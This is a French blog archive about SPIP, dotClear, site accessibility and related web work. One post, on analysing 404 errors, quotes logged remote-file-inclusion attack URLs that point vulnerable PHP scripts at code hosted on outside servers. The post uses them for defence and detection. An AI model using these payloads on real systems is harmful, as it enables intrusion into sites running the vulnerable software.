De dotClear vers SPIP, ou l’inverse ?

Alors, à quand une véritable analyse des requêtes des utilisateurs, plutôt qu’une simple addition des recherches des différents mots clefs ?

Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d’améliorations à apporter à votre site.

Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c’est d’abord de s’intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des outils Google pour les webmasters.

Erreurs 404 de Gastero Prod référencées par Google

Une autre méthode plus basique et source potentielle d’explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C’est ce que j’ai fait dans mon squelette 404.html pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d’appel :

Identifier les erreurs 404 permet d’améliorer un site sur plusieurs sujets :

La qualité du référencement

Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c’est qu’il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent :

• soit par simple erreur de frappe, ce qu’un bon outil de gestion de contenus Web devrait permettre d’éviter,
• soit parce que vous avez modifié vos URL, ce qu’il ne faut surtout pas faire !,
• soit parce que des URL déterminées et gérées automatiquement sont mal configurées.

En observant les erreurs 404 relevées par Google, j’ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL [2] pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique blog/ et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.

Il n’y a bien entendu pas que le nettoyage des erreurs 404 qui permet d’améliorer la qualité du référencement, mais c’est un autre sujet...

Les performances, la consommation de bande passante, et donc potentiellement le coût de l’hébergement

Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu’en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.

Selon la nature de votre hébergement, cela peut avoir un impact — positif à priori — sur son coût, ce qui peut s’avérer intéressant comme motivation.

La sécurité

Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.

Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante :

http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?

En cherchant infoevent.php3 sur Google, j’ai découvert qu’il s’agit d’un script faisant justement l’objet d’une faille de sécurité de phpMyAgenda.

Comme par hasard, le client ayant fait cette requête n’est pas un navigateur traditionnel, mais s’identifie comme étant libwww-perl/5.803. C’est donc bien un programme qui tente l’attaque, sauf falsification de signature qui serait ici inepte.

Autre exemple avec cette requête :

http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?

Requête qui correspond à une faille de sécurité de Tagger LE, et qui est demandée comme par hasard aussi par un client libwww-perl/5.812 !

Dernier exemple avec cette requête :

http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??

Requête qui correspond à une faille de sécurité de phpMyChat [3], et qui est demandée comme par hasard une fois de plus par un client libwww-perl/5.805 !

Je tiens à signaler aux hackers qui me liraient que je n’utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s’adressent les autres attaques que je subi...

Faudrait-il donc refuser systématiquement toute requête signée par libwww-perl ?

En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module mod_rewrite pour Apache :

Voilà, vous êtes prévenus, n’ignorez plus vos erreurs 404, agissez !

Avec un SPIP 1.9.2c installé sur Windows Server 2003 SP2, avec Apache 2.2.6 et PHP 5.2.4, j’avais des plantages étranges sur la page de configuration avancée de SPIP et l’indexation ne marchait plus bien, certains articles passant au travers. Je n’avais pas ce soucis sur le même site déployé sur Linux ou Mac OS X.

Après bien des essais et lectures de code tant perso que de SPIP, il s’avère que PHP supporte mal l’usage simultané de sessions et de exec(). Le bug #22526 a beau dater de 5 ans et être clos, le problème se pose encore, manifestement.

J’avais en fait un session_start() dans mes_options.php pour avoir une session PHP active dans toutes les pages. Du coup j’avais un plantage, tant des exec() de test de librairies graphiques dans la configuration avancée, que des exec() d’extraction de contenus des documents dans l’indexation.

De proche en proche, j’ai découvert sur différents forums que le problème est bien d’actualité, et qu’heureusement une solution existe !

Il suffit de remplacer toutes les instructions telles que la suivante :

Par ceci :

Bien sûr, si le exec() en question se trouve après du code écrivant sur la sortie standard, il faudra utiliser les fonctions de bufferisation de sortie [1] pour éviter les warning dûs à l’envoi de cookie par session_start().

Bien que les sources qui relatent ce problème et sa solution datent un peu, je peux vous confirmer que modifier de cette façon le source des fichiers présents dans ecrire/extract/*.php résout bien le problème.

Finalement, les sessions de SPIP sont meilleures que celles de PHP, au moins sur ce point...

Souvenez-vous, il y a encore quelques heures, voilà à quoi ressemblait Gastero Prod :

Gastero Prod en 2007

Avouez que ça commençait à dater, malgré les légers réalignements successifs que j’avais réalisés.

La grande nouveauté de cette version, c’est une mise en avant de contenus autres que les simples articles, avec les photos et les liens glanés au quotidien.

Je ne suis pas encore satisfait de la partie sous le nuage de mots clefs dans le pied de page, mais j’en avait marre d’attendre, donc c’est en ligne.

N’hésitez pas à commenter / critiquer / proposer !!!

Imaginez que vous ayez dans votre site de nombreux sites référencés, avec la syndication activée, et des mots clefs thématiques associés à ces sites. Cela peut vous rappeler Sedna, sauf que les mots clefs peuvent être multiples pour un site alors que Sedna utilise des rubriques, forcément uniques pour chaque site.

Imaginez maintenant que vous souhaitiez afficher dans une page les dernières nouveautés de tous les sites ayant un mot clef donné.

La solution simple — qui fonctionne depuis longtemps avec SPIP — est de lister les sites qui ont le mot clef, et de lister pour chacun les derniers articles syndiqués. Le problème de cette solution, c’est que vous devez vérifier chaque site pour savoir s’il y a du nouveau. Le problème est encore plus grave si vous souhaitez utiliser une pagination, puisqu’elle sera nécessairement sur les sites plutôt que sur les articles syndiqués.

Ma problématique du jour était donc de lister tous les articles syndiqués dans leur ordre chronologique, donc sans devoir passer par les sites au préalable, et voici la solution :

Ce code fonctionne avec SPIP 1.9.2c [1], mais ne devrait plus être nécessaire avec SPIP 1.9.3, la boucle SYNDIC_ARTICLES acceptant maintenant le paramètre {id_mot_syndic} [2] !

Utilisant le plugin Agenda pour gérer des événements [1], j’ai eu besoin de lister chronologiquement les événements rattachés à des articles ayant un mot clef particulier.

Le code du squelette aurait été beaucoup plus simple si les mots clefs étaient rattachés directement aux événements, mais je préfère largement attacher les mots clefs aux articles, l’ajout aux événements étant laborieux.

Le problème, donc, est de lister {par date} des (EVENEMENTS) liés à des (ARTICLES) qui ont au moins un mot clef avec {id_mot=3}.

La technique traditionnelle serait de faire une boucle (ARTICLES) pour filtrer selon le mot clef, puis dans son corps une boucle sur les (EVENEMENTS) de chaque article.

Malheureusement, cela ne permet pas un classement {par date} de l’ensemble des (EVENEMENTS), mais seulement article par article.

C’est là que les jointures arrivent à la rescousse. L’idée est donc de faire une unique boucle, qui porte sur deux sources de données, les (ARTICLES) et les (EVENEMENTS), le lien étant l’id_article.

Voici ce que cela donne pour lister des événements passés rattachés aux articles de la rubrique courante ayant un mot clef avec {id_mot=3} :

Il faut tester différentes syntaxes pour arriver au résultat, mais globalement, quelques règles découvertes sur le tas peuvent aider :

• La première donnée peut être identifiée par son alias, mais les autres doivent être identifiées par leur nom de table, hors préfixe
• Il semble que le compilateur de SPIP comprend bien que l’age demandé est celui des (EVENEMENTS) et non celui des (ARTICLES), sans doute parce que les (EVENEMENTS) sont l’élément principal de la boucle
• Alors que le critère {id_mot=3} fonctionne sur une boucle (ARTICLES), il ne fonctionne pas sur la table articles, d’où nécessité d’ajouter la seconde jointure sur la table mots_articles

A vous de tester !

Je suis plutôt de la seconde catégorie, et ça tombe bien parce que SPIP le permet, donc c’est ce que j’avais toujours proposé sur Gastero Prod.

Maintenant, si vous avez Javascript activé, vous allez pouvoir choisir vous-même comment vous souhaitez lire les commentaires !

Tout cela est rendu possible par la librairie Javascript magique jQuery, qui me permet d’ajouter ce fonctionnement de manière non intrusive en Ajax.

... et en profite pour abandonner SPIP-Agora au profit du récent et de plus en plus génial [2] SPIP !

Merci à Julien De Luca pour ce splendide design et à Thomas pour son intégration.

Vous noterez au passage les belles URL toutes propres, nous allons faire un article sur notre blog pour expliquer comment nous avons fait.

Et bien entendu, une petite dose d’Ajax pour être tendance [3], et ce n’est qu’un début, nous allons tenter d’améliorer progressivement l’ergonomie du site pour en rendre la consultation encore plus agréable...

Je veux le même, combien ça coûte ?

Une petite info pratique pour conclure concerne l’ampleur des travaux réalisés pour parvenir à ce résultat. Entre la phase initiale de pure création sur la base de nos envies et les divers allez/retour ensuite, Julien à travaillé en gros 8 jours. Pour ce qui est de l’intégration de la créa graphique dans SPIP et le développement des modèles nécessaires à la gestion des contenus, Thomas à travaillé une douzaine de jours.

Ces charges — 20 jours en tout, donc — n’ont pas été consommées en flux tendu comme ce serait le cas pour un projet traditionnel, mais montrent bien qu’on peut obtenir un site tout à fait correct (euphémisme) sans dépenser des millions et attendre des mois.

L’essentiel est de :

• savoir ce que l’on veut,
• choisir l’outil le plus adapté à ses besoins — pourquoi s’embarrasser de SPIP-Agora si SPIP suffit amplement ?,
• savoir utiliser correctement l’outil en question,
• impliquer les producteurs de contenus pour qu’ils valident la réalisation tout en apprenant à se servir de l’outil

Je ne me suis attaché ici à comparer que les fonctionnalités natives de SPIP et DotClear, n’ayant plus trop le temps de chercher [2] pour chacun des plugins ou contributions pouvant apporter les fonctionnalités qui me manquent. Je me suis aussi surtout limité aux fonctionnalités de SPIP que j’utilise [3], et à celles de DotClear qui viennent en plus et m’apporteraient réellement un confort ou des fonctionnalités supplémentaires.

Installation

Même si c’est une opération qui ne fait pas partie du travail quotidien, l’installation est un bon moyen de voir si les développeurs pensent au confort de leurs utilisateurs.

Avec DotClear, cette installation est aussi simple qu’avec SPIP, c’est un pur bonheur, les néophites sont guidés pas à pas de manière très explicite.

De même, une interface publique par défaut est fournie en standard. Elle n’est malheureusement pas plus belle que celle de SPIP [4], mais à l’intérêt de montrer tout de suite que le produit ne pourra que difficilement servir à faire autre chose qu’un blog, là où SPIP montre par contre une plus grande richesse fonctionnelle.

Je n’ai pas regardé comment sont développés les templates [5], ce n’est pas un critère décisif pour moi, je suis prêt à m’investir si les fonctionnalités répondent à mes attentes.

Il faudrait aussi voir si les mises à jour sont aussi simples, mais je n’ai pas le temps pour l’instant...

Catégorisation des contenus

La possibilité dans SPIP d’affecter un article à une rubrique et à de multiples mots clefs ne trouve pas d’équivalent dans DotClear, ou un article ne peut malheureusement être rattaché qu’à une unique catégorie. C’est bien dommage, je ne vais pas pouvoir faire de tag cloud...

Rédaction d’articles

Côté syntaxe de rédaction, DotClear propose soit une syntaxe HTML libre, soit une syntaxe de type Wiki [6].

SPIP garde un sérieux avantage à ce niveau, intégrant notamment grâce à sa syntaxe spécifique la gestion des liens internes [7]. DotClear se rattrape avec la gestion des langues des ressources pointées, qui permet de générer l’attribut hreflang des liens hypertextes [8], ce que SPIP ne fait pas encore nativement [9].

Par contre, DotClear pêche côté notes de bas de page, qu’il a le mauvais goût de placer avant le contenu si elles sont dans le chapô, étrange comportement. Du coup, s’il y a des notes de bas de page tant dans le chapô que dans le contenu, les ancres ne sont pas bonnes !

DotClear a la bonne idée de gérer une galerie d’images partagée entre tous les contenus, mais ne permet pas de gérer des images spécifiques à un article donné, donc la galerie doit vite devenir difficile à gérer. Cette galerie ne permet en plus pas de gérer tous types de documents, ce qui est bien trop limitatif. Finalement, ma galerie de documents pour SPIP est beaucoup mieux, il faudrait que je la finalise...

DotClear n’intègre pas de correction orthographique, alors que celle de SPIP m’a permi déjà plusieurs fois d’éviter des petites horreurs. Le serveur d’orthographe de SPIP est générique, il faudrait voir comment le rendre exploitable par DotClear...

Interactivité

Du côté des commentaires, DotClear n’intègre malheureusement pas la possibilité de gérer des threads de discussion [10], tout restant désespérément à plat et sans possibilité simple de répondre de manière pertinente à un commentaire en particulier. Je n’ai pas vu beaucoup de blog utilisant — comme je le fais ici — cette notion de thread, alors que je la trouve plus intuitive et pratique dans les discussions puisque chaque message est bien dans son contexte [11].

Là où DotClear apporte un énorme plus à SPIP, et c’est LA raison qui m’a fait débuter cette étude, c’est dans la gestion des trackbacks et pingbacks. Ils sont le meilleurs moyen de relier les blogs entre eux, c’est à dire d’une part de savoir quand un autre blog parle de Gastero Prod, et d’autre part de signaler à d’autres blogs que je les site.

Bilan temporaire

Je laisse là cette étude commencée il y a plus d’un mois, faute de temps pour la boucler, et surtout parce que j’apprend que la première beta de DotClear 2.0 va enfin être mise à disposition demain !

Quoi qu’il en soit, je n’aurais pas jeté SPIP pour DotClear 1.

L’avenir dira si DotClear 2 me séduit plus...

Voilà un proverbe chinois lu chez Mario Asselin, qui l’avait lu chez Corinne Bourgnon :

Si nous avons chacun un objet

et que nous l’échangeons,

nous aurons chacun un objet.

 

Si nous avons chacun une idée

et que nous l’échangeons,

nous aurons chacun deux idées.

Il illustre à merveille l’importance du partage des savoirs, notamment via des outils collaboratifs de type Wiki, comme le montre le succès de Wikipedia, le projet d’encyclopédie libre, gratuite et multilingue que chacun peut améliorer.

C’est sur ce constat que j’ai décidé d’abandonner l’outil de gestion de contenus web SPIP au profit du logiciel de Wiki DokuWiki [1] pour faire « tourner » la nouvelle version de phpHeaven, le site hébergeant notamment mon vieux projet logiciel libre phpMyChat.

La nouvelle page d’accueil de phpHeaven

J’espère que l’utilisation d’un outil par nature plus ouvert à la contribution collaborative permettra de faire revivre le projet, qui vivote depuis des années faute de contributeurs à même d’exploiter les outils de développement dont CVS [2], ou capable d’utiliser SPIP pour participer à l’effort de documentation.

Si des francophones qui lisent ceci sont prêts à contribuer — en anglais — ne serait-ce qu’à l’effort de documentation, qu’ils se fassent connaître !

L’avantage de demander une inscription était double :

• empêcher le SPAM, et là pas de soucis, je n’ai pas à me plaindre du moindre écart depuis le tout début
• mettre en oeuvre simplement les gravatars

Mais force est de constater que les commentaires ne sont pas légion sur les articles, et je me demande si cette nécessité de s’inscrire n’est pas un frein un peu trop fort.

Je tente du coup une ouverture totale, en espérant qu’il n’y aura pas de dérapage.

SPIP n’intègre pas (encore) de système de surveillance type Spamplemousse, mais les nouveautés côté plugins de la version 1.9 vont peut-être le permettre prochainement. D’un autre côté, si dotClear 2.0 est aussi séduisant que ce qui est annoncé, je vais peut-être réfléchir...

Allez, participez un peu plus, et restez courtois !

Créé à l’origine pour SPIP 1.4.2, comme l’indique la contribution « Réaliser un agenda avec SPIP » que j’avais publiée sur SPIP Contrib le 25 mai 2003 [1], ce jeu de squelette avait un peu évolué en fin de la même année, ce qui m’avait conduit à publier une nouvelle contribution, sur Gastero Prod cette fois-ci, sous le titre « Le même agenda que Gastero Prod avec SPIP ».

Maintenant que Gastero Prod est passé sur une version récente de SPIP, à savoir la 1.9 alpha de SVN, cet agenda ne fonctionne plus, et je n’ai vraiment ni le temps ni le courage de chercher pourquoi. Je n’attendais en fait qu’un prétexte pour le supprimer, n’ayant plus du tout le temps de le gérer, surtout vu la complexité de la chose, les articles de SPIP n’étant vraiment pas prévus pour cette fonctionnalité.

Le service rendu a été important, et de nombreux spipeurs ont utilisé ma contribution, mais il est temps de passer à une nouvelle version, maintenant que le calendrier public de SPIP est une fonctionnalité native depuis la version 1.8.2. Sauf que je ne l’ai vu pour l’instant fonctionner que sur un seul site, mais sans être réellement convaincu.

L’avenir dira si Gastero Prod sera à nouveau doté d’un agenda...

Le bilan va être très court, puisque la migration s’est effectuée en 10 minutes montre en main [1], sans aucun effet de bord détecté pour l’instant.

SPIP continue donc à fournir une belle compatibilité ascendante, même sur les versions issues du CVS. Bravo !

J’avais dans l’idée de participer au concours Summer Refresh 2005, mais le temps va finalement me manquer, donc je vais plutôt me contenter pour l’instant d’une simple nouvelle couche de vernis.

Des évolutions s’ajouteront petit à petit à partir de maintenant, j’ai déjà pas mal d’idées.

J’espère notamment pouvoir expérimenter rapidement certaines extensions de la SPIP Zone, dont les trackbacks , qui sont vraiment l’un des plus gros manques quand on veut construire un blog avec SPIP, et peut-être la dernière version de la gestion de newsletters de BoOz [2], maintenant intitulée spip-listes.

J’espère aussi pouvoir remplacer un jour ma vieille contrib permettant de réaliser l’agenda de ce site avec SPIP avec le nouveau système d’agenda public concocté par Emmanuel [3], le quatrième mousquetaire de SPIP. Reste à comprendre comment ça marche... A moins que je ne supprime tout simplement cet agenda, qui est si difficile à remplir pour le peu d’intérêt qu’il suscite.

Il faudra au passage que je purifie un peu le code pour rendre le site plus accessible et encore plus respectueux des standards, j’ai encore beaucoup appris ces derniers temps sur ces deux sujets.

Enfin, je compte intégrer au mieux mes meilleures photos, noyées pour l’instant parmi toutes celles publiées sur Flickr, sans réel lien avec ce site, si ce n’est le petit flash en page d’accueil. Et pourquoi pas, puisqu’on parle de Flickr, aussi intégrer plus étroitement flickRate, qui commence à prendre de l’ampleur.

Quel beau programme, n’est-ce pas !

Petite présentation préliminaire

Les gravatars [1] sont littéralement des avatars reconnus globalement. Il s’agit en fait d’avatars créés sur un site unique, le bien nommé gravatar.com créé par Tom Werner, et utilisés par les sites pour afficher un avatar en fonction de l’adresse e-mail de l’internaute qui a posté un message.

Par exemple, si je créé un gravatar associé à mon adresse e-mail, et que j’utilise cette adresse pour poster des messages dans des blogs qui supportent ce système, mon avatar unique sera automatiquement affiché à côté de mon message.

Voyez par exemple les commentaires de l’article « Pompez ! » :

Heureusement, il n’est pas possible de venir ainsi poluer tous les blogs avec des images sentencieuses, Tom Werner modère lui-même tous les avatars proposés [2] et leur affecte une classification similaire à celle des films aux Etats-Unis. Il est alors possible de spécifier quel niveau de tolérance on accepte pour les gravatars à afficher sur son propre site [3].

Le principal défaut que l’on peut reprocher aux gravatars, c’est que s’il y en a beaucoup à afficher sur une unique page, le temps de chargement est augmenté d’autant, comme par exemple chez Jon Hicks ...

Je ne pense pas avoir un jour ce problème sur Gastero Prod, ou alors il sera de toute façon possible de retirer la fonctionnalité, donc je me suis lancé.

Un peu de développement...

L’idée est donc de mettre en place le support des gravatars dans SPIP pour ce site Gastero Prod avec un peu de code PHP. Heureusement, cela n’a vraiment rien de compliqué.

Des choses ont déjà été faites, d’une part sur le site gravatar.com lui-même, mais aussi surtout par Richard Rutter, de clagnut, qui a proposé un script PHP complet de gestion des gravatars.

...mais pas trop quand même !

Cependant, j’ai choisi une approche encore plus simple, avec un petit filtre SPIP gravatar_url ajouté au fichier mes_fonctions.php3 :

Sur Gastero Prod, les commentaires sont gérés par des forums sur abonnement, donc je suis sûr de la présence et de la validité d’une adresse e-mail pour chaque message.

Dans le cas où aucun gravatar n’est disponible pour l’adresse donnée, gravatar.com renvoi une petite image transparente.

Voilà donc en substance comment j’exploite ce nouveau filtre :

Vous verrez ça plus en détail directement dans mon squelette article-forum.html.

Les publications par thème

Vous vous dites régulièrement que vous appréciez les articles que je publie sur mes expérimentations avec SPIP, mais que vous n’avez rien à faire des autres thèmes ?

Alors profitez maintenant de flux RSS dédiés à chaque thème, avec un lien présent sur la page de chacun d’entre eux.

Voici l’exemple pour le thème « SPIP » :

Un flux RSS sur un thème

Le flux RSS de ce thème possède l’URL suivante : http://www.gasteroprod.com/rss/them...

Et le squelette est tout simple, vous pouvez le voir là : http://www.gasteroprod.com/design/b...

Les commentaires

SPIP m’envoi automatiquement un mail dès qu’un commentaire est associé à un article, ce qui me permet de bien suivre la vie du site.

Vous avez par contre sans doute du mal à suivre les discussions qui vous intéressent si vous devez pour cela revenir régulièrement vérifier par vous-même s’il y a eu des changements.

J’ai donc mis en place des flux RSS dédiés à ces discussions, accessible via un lien présent au début de chacune de ces discussions.

Voici l’exemple pour les commentaires de l’article « Pompez ! » :

Un flux RSS sur les commentaires d’un articles

Le flux RSS de cette discussion possède l’URL suivante : http://www.gasteroprod.com/rss/comm...

Et le squelette est lui aussi tout simple, vous pouvez le voir là : http://www.gasteroprod.com/design/b...

Au passage, vous noterez la présence de petites photos associées à chaque message, puisqu’il est si simple d’avoir « Des Gravatars avec SPIP » ...

Et si le nouveau design de Sam Latchman est splendide ...

... la technique a aussi évolué, puisque le site est maintenant géré avec SPIP et non plus à la main. Joli travail d’intégration réalisé par Stéphane Deschamps.

Je signalerais juste pour finir que les articles devraient maintenant être publiés au fil de l’eau et non plus mensuellement, et que des liens sont donnés vers des traductions publiées ailleurs, de très bonnes initiatives !

Quelles sont les données à sauvegarder ?

• les données de la base ne pouvant être reconstruites à partir d’autres données, c’est à dire finalement toutes les tables sauf celles d’indexation
• les documents attachés aux articles ou rubriques, c’est à dire le répertoire IMG/ au complet

Installation de l’outil de sauvegarde

L’exécution de ce script requiert les composants PEAR suivants [2] :

• DB
• Archive_Tar

Le composant suivant est optionnel :

• HTML_Progress

Il suffit ensuite de télécharger le script présent dans le Zip suivant :

spipBackup 1.0.0

Ensuite, il faut configurer le script en l’ouvrant dans n’importe quel éditeur, comme expliqué dans la section suivante, puis de le placer à la racine du site SPIP auquel il est destiné.

Configuration

Le début du script est à modifier en fonction de la configuration de la base de données et des options d’utilisation choisies.

Le code présent initialement correspond à ce que l’on trouve en général sur les installations par défaut pour MySQL.

Utilisation

Voici un apperçu de l’interface de l’outil :

L’interface de l’outil

Son utilisation est normalement intuitive ...

Alors que j’ai repris le code de la galerie SPIP que j’avais développée initialement pour SPIP, puis qui avait été intégré à SPIP-Agora, pour le rendre compatible avec SPIP 1.7.2, Olivier a aussi passé un peu de temps sur la reprise du code de SPIP-Agora concernant la génération de code valide XHTML 1.0 Transitional et plus accessible, afin de le rendre compatible avec SPIP 1.7.2 :

• Intégration dans SPIP de fonctionnalités issues de SPIP-Agora

Voilà qui va m’aider à rendre Gastero Prod encore plus respectueux des standards, comme je l’annonçais lors de la sortie récente de Gastero Prod 4 !

L’idée est tout simplement d’ajouter dans la barre d’aide à la saisie un bouton qui lance dans une autre fenêtre une galerie de tous les documents déjà présents dans SPIP.

Depuis cette fenêtre, il est alors possible de se déplacer dans l’arborescence des rubriques et articles du site, et ainsi de visualiser tous les documents qui leurs sont attachés.

Une fois le bon document retrouvé, des liens permettent d’ajouter simplement le bon raccourci typographique à la zone de saisie qui était active.

Démonstration en images

1 - Ouvrez la galerie

Tout d’abord, cliquez sur le nouveau bouton de la barre d’aide à la saisie des raccourcis typographiques :

2 - Naviguez dans l’arborescence

Déplacez-vous dans l’arborescence du site pour y retrouver le document ou l’image qui vous intéresse :

3 - Visualisez l’élément et ses liens d’ajout

Une fois le bon élément retrouvé, cliquez sur le lien correspondant à l’affichahe souhaité :

4 - Continuez à travailler normalement

Après avoir cliqué sur l’un des liens, le code correspondant est ajouté à la zone de saisie et la galerie est refermée :

Installation

Tout d’abord, téléchargez cette archive :

galerie.zip

Les fichiers de la galerie pour SPIP 1.7.2

Elle contient les quatre fichiers suivants :

• galerie.php3 est le script qui affiche la galerie, il est à placer dans le répertoire ecrire/

• galerie.png est une nouvelle icône pour la barre, elle est à placer dans le répertoire IMG/icones_barre/, et elle pourra être avantageusement remplacée par une autre plus jolie

• inc_barre.php3 est une version modifiée de la version fournie avec SPIP 1.7.2. La seule différence est l’ajout des lignes 69 à 72 suivantes :
  
    // Galerie
    if (!$forum) {
      $ret .= bouton_barre_racc ("javascript:barre_galerie('$champ')",
  'galerie.png', 'Ouvrir la galerie', $formulaire, $texte);
    }
   

  telecharger

• spip_barre.js est une version modifiée de la version fournie avec SPIP 1.7.2. La seule différence est l’ajout des lignes 89 à 91 de la fonction barre_galerie() :
  
    function barre_galerie(champ) {
      window.open('galerie.php3?field=' + champ, 'galerie',
  'width=550,height=400,menubar=no,scrollbars=yes')
    }
   

  telecharger

L’accessibilité devient petit à petit incontournable.

Outre ses avantages directs en terme d’élargissement d’audience des sites, elle a tendance dans sa mise en oeuvre à favoriser l’usage de technologies standards, ce qui a de nombreux autres avantages.

Mais il ne suffit pourtant pas d’utiliser des standards pour atteindre l’accessibilité, encore faut-il bien les utiliser, en respectant avant tout une sémantique correcte.

Il faut aussi surtout ne pas croire que l’accessibilité ne soit dédiée qu’aux handicapés, elle est une problématique générale avant destinée à donner la chance à tout utilisateur d’accéder à un contenu.

Quelques principes appliqués sur Gastero Prod

Le nouveau code du site est constitué de contenus structurés en XHTML 1.0 Transitional valide et mis en forme à l’aide de feuilles de styles CSS 2.0.

Cela permet notamment d’être sûr que ceux qui ne peuvent pas (ou ne veulent pas) exploiter les feuilles de style, peuvent tout de même consulter le site sans problème :

Sans feuille de style

Affichage dans Mozilla Firebird avec la feuille de styles désactivée

En mode texte

Affichage dans Lynx, navigateur en mode texte

Mais cela n’empêche pas pour autant ceux qui en ont la capacité de profiter d’un site avec une identité graphique qui lui est propre et qui n’est pas forcément la plus minimale qui soit :

Normal

Affichage dans Mozilla Firebird avec la feuille de style

Enfin, qui dit graphisme ne signifie pas forcément contrainte sur les tailles de tous les éléments, il est tout à fait possible de laisser le choix à l’utilisateur de sa taille de police par défaut.

En caractères agrandis

Affichage dans Mozilla Firebird avec une taille de police supérieure et des colonnes ajustées en conséquence

Un peu d’usabilité

Des « raccourcis » clavier vous permettent d’accéder rapidement, sans utiliser votre souris, à des éléments du site :

Voici la procédure à employer pour utiliser par exemple la touche a :

• sous Windows, avec la combinaison alt + a
• sous Macintosh, avec la combinaison ctrl + a ou pomme + a

Pas de styles alternatifs

Gastero Prod ne propose pas de feuilles de styles alternatives.

Je préfère largement le rendre réellement accessible en laissant la possibilité à l’internaute d’utiliser un outil spécialisé ou de configurer son navigateur traditionnel.

Je ne comprends pas cette tendance actuelle de fournir une tonne de mises en pages alternatives en faisant croire que c’est là pour accroître l’accessibilité, alors que c’est surtout un moyen de montrer la compétence en CSS du développeur.

Si le site n’est pas naturellement accessible avec sa mise en page par défaut, il y a de bonnes chances pour que ce style switcher ne soit même pas exploitable par quelqu’un ayant cette problématique d’accessibilité.

Cela ne m’empêche pas de penser comme beaucoup que css Zen Garden est très intéressant, mais je ne vois pas l’intérêt que chaque site devienne un tel laboratoire en puissance.

Au boulot !

Cette refonte ayant permis d’enfin séparer comme il faut le contenu et le contenant, mais ayant consommé pas mal de temps, il devient nécessaire de se reconcentrer sur les contenus pour accroître la fréquence de publication !

Et si vous souhaitez être tenu au courant des publications, n’hésitez pas à exploiter le flux RSS, il est maintenant au format RSS 2.0.